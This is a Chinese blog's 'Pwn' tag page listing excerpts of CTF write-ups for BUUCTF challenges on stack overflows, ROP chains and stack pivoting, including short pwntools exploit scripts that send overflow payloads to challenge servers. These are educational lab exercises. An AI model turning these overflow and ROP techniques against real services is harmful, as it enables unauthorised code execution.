包含标签 Pwn 的文章

32 位栈迁移 ROP

0 条评论 pwn Pwn 雾島风起時

32 位栈迁移 ROP 话不多说,直接上题(BUUCTF) 漏洞代码如下: 缓冲区 s 能构成溢出,但是 ret 太小了构造不了完整的 ROP 当缓冲区溢出空间不足以布置完整的 ROP 链时,利用栈迁移扩展攻击空间 在 32 位中关键指令是 leave; ret 主要用于 改变 ESP,让程序跳转到新的栈地址 因为 leave 会 将 esp 设为 ebp,...

仅有 sh ROP

0 条评论 pwn Pwn 雾島风起時

仅有 sh ROP 话不多说,直接上题(BUUCTF) 反编译代码要先输入 administrator 通过验证 其中有三个选项以及一个隐藏选项 先看隐藏选项,它将 src 值给了 dest 最后打印 在第一个选项中发现这个 src 值是有我们决定的最多 128 字节 看 dest 缓冲区明显存在栈溢出,同时左边 plt 表中有 system 函数可直接调用...

64 位 ROP

0 条评论 pwn Pwn 雾島风起時

64 位 ROP 话不多说,直接上题(BUUCTF) 扔进 IDA64 中反编译,发现调用了一个函数,进去看看 缓存区 buf 大小居然为 200,肯定存在溢出 双击 buf 可以算出需要 136 个字节垃圾数据 没有给后门函数,但是给了相关字符串,需要构造 ROP 64 位系统还格外需要一个 pop rdi; ret 指令,使用工具 ROPgadget 获...

32 位 ROP

0 条评论 pwn Pwn 雾島风起時

32 位 ROP 话不多说,直接上题(BUUCTF) 32位 IDA 反编译 啊哈,一眼存在栈溢出 查看内存需 140 个字节覆盖 Shift + F12 查看字符串,有可利用函数与字符串,构造 ROP 在 plt 表中拿到 system 地址 32 位中调用 system 函数时需要传入一个将来的返回地址,这个返回地址随意,但必须要有,返回地址后面则是参数...

Read 栈溢出

0 条评论 pwn Pwn 雾島风起時

Read 栈溢出 话不多说,直接上题(BUUCTF) 放入 64 位 IDA 中反编译 注意看 read 函数的第三个参数,它决定我们输入的长度,而这个地址是由 scan 决定的 也就是说长度是我们可控制的 看内存可以看到离 ret 差 24 个字节 dq 占 8 个字节 找到后门函数 如果看不到地址往前拉一下,Star 就是起始地址 构造 payload ...

Gets 栈溢出(32 位程序返回)

0 条评论 pwn Pwn 雾島风起時

Gets 栈溢出(32 位程序返回) 话不多说,直接上题(BUUCTF) 扔进 IDA32 中反编译,直接给出了 Gets 在左边看到有一个 get_flag 函数,进去看看 可以看到 if 条件成立后就能读取 flag 了 回头去看 v4 缓存区的栈情况 首先填充 56 个字节垃圾数据 argc 就是 a1,argv 就是 a2 注意的一点是获取 flag...

Gets 栈溢出(变量覆盖)

0 条评论 pwn Pwn 雾島风起時

Gets 栈溢出(变量覆盖) 话不多说,直接上题(BUUCTF) IDA64 反编译 追踪看到 gets v1 的下面就是 v2,通过溢出改为 v2 的值使条件成立 注意:浮点数要转十六进制 from pwn import p = remote(node5.buuoj.cn, 29455) payload = b a 44 + p64(0x4134...

Gets 栈溢出(堆栈平衡)

0 条评论 pwn Pwn 雾島风起時

Gets 栈溢出(堆栈平衡) 话不多说,直接上题(BUUCTF) IDA64 反编译 去找后门函数 记录地址 缓冲区 s 存在明显栈溢出 15 + 8 覆盖掉这段地址到 r 返回地址中 64 位系统还需要保持一个栈平衡,需要找 lea 的地址或者该函数结束即 retn 的地址 当我们在堆栈中进行堆栈的操作的时候,一定要保证在 ret 这条指令之前 esp 指...

Gets 栈溢出

0 条评论 pwn Pwn 雾島风起時

Gets 栈溢出

话不多说,直接上题(BUUCTF)

IDA64 反编译

给出了后门函数

看内存溢出大小是 72

构造 payload

from pwn import *

p = remote("node5.buuoj.cn", 27079)

payload = b'a' * 72 + p64(0x40060D)

p.sendline(payload)
p.interactive()

拿到 flag